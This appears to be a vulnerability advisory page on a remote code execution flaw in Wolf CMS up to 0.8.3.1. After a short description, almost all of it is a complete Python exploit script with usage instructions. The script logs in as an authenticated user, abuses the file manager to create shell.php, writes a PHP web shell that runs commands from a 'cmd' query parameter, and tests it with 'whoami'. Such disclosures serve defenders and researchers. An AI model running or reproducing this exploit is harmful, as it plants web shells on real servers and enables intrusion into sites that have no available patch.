Wolf CMS versions up to 0.8.3.1 contain a remote code execution vulnerability in the FileManagerController. Authenticated users with the file_manager_mkfile capability can create arbitrary PHP files due to missing file extension validation. These files can be placed in a web-accessible directory and executed via HTTP requests, allowing remote code execution.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: Wolf CMS 0.8.3.1 - RCE # Date: 02-08-2026 # Exploit Author: Balachandar Gowrisankar # Software Link: https://github.com/wolfcms/wolfcms # Version: <= 0.8.3.1 # Tested on: Kali GNU/Linux Rolling, Wolf CMS 0.8.3.1, Apache 2.4.68, Python 3.13.14 # CVE: CVE-2026-67206 # CVSS v3 Score: 8.8 # Note: Wolf CMS GitHub repository has been archived as of Aug 28, 2021 and no patches have been rolled out at the time of writing # Usage: python exploit.py <base_url> -u <username> -p <password> # Example Usage: python exploit.py http://127.0.0.1:8080/ -u admin -p admin import requests import argparse from bs4 import BeautifulSoup class WolfCMS: def __init__(self, base_url): self.base_url = base_url.rstrip("/") self.session = requests.Session() def login(self, username, password): data = { "login[username]": username, "login[password]": password, "login[redirect]": "" } r = self.session.post( f"{self.base_url}/?/admin/login/login", data=data, allow_redirects=True ) if r.url == self.base_url + "/?/admin/": print("[+] Login successful") else: print("[-] Login unsuccessful. Check username, password and base URL") exit() def get_csrf_token(self, api, action): response = self.get(api) soup = BeautifulSoup(response.text, "html.parser") create_form = soup.find( "form", action=lambda x: x and x.endswith(action) ) csrf_token = create_form.find( "input", {"name": "csrf_token"} )["value"] return csrf_token def create_file(self): csrf_token = self.get_csrf_token("/?/admin/plugin/file_manager", "/?/admin/plugin/file_manager/create_file") data = { "csrf_token": csrf_token, "file[path]": "/", "file[name]": "shell.php", "commit": "Create" } r = self.session.post( f"{self.base_url}/?/admin/plugin/file_manager/create_file", data=data, allow_redirects=True ) if "shell.php" in r.text: print("[+] File creation successful") else: print("[-] File creation unsuccessful. Exiting.") exit() def write_shell(self): csrf_token = self.get_csrf_token("/?/admin/plugin/file_manager/view/shell.php", "/?/admin/plugin/file_manager/save") data = { "file[filter]": "", "file[name]": "shell.php", "csrf_token": csrf_token, "file[content]": "<?php system($_GET['cmd']);?>", "commit": "Save" } r = self.session.post( f"{self.base_url}/?/admin/plugin/file_manager/save", data=data, allow_redirects=True ) print("[+] Payload written successfully!") print("[+] Web shell can be accessed with 'cmd' query string at " + self.base_url + "/public/shell.php") print("[+] Testing output of " + self.base_url + "/public/shell.php?cmd=whoami") print(self.get("/public/shell.php?cmd=whoami").text) def get(self, path): return self.session.get(f"{self.base_url}{path}") def main(): parser = argparse.ArgumentParser(description="Wolf CMS RCE PoC Exploit") parser.add_argument("base_url", help="Base URL of Wolf CMS. Eg: http://127.0.0.1/wolfcms/") parser.add_argument("-u", "--username", type=str, default="admin", help="Login username") parser.add_argument("-p", "--password", type=str, default="admin", help="Login password") args = parser.parse_args() cms = WolfCMS(args.base_url) print("[*] Logging in with provided credentials...") cms.login(args.username, args.password) print("\n[*] Creating a file named shell.php...") cms.create_file() print("\n[*] Attempting to write payload to shell.php...") cms.write_shell() if __name__ == "__main__": main()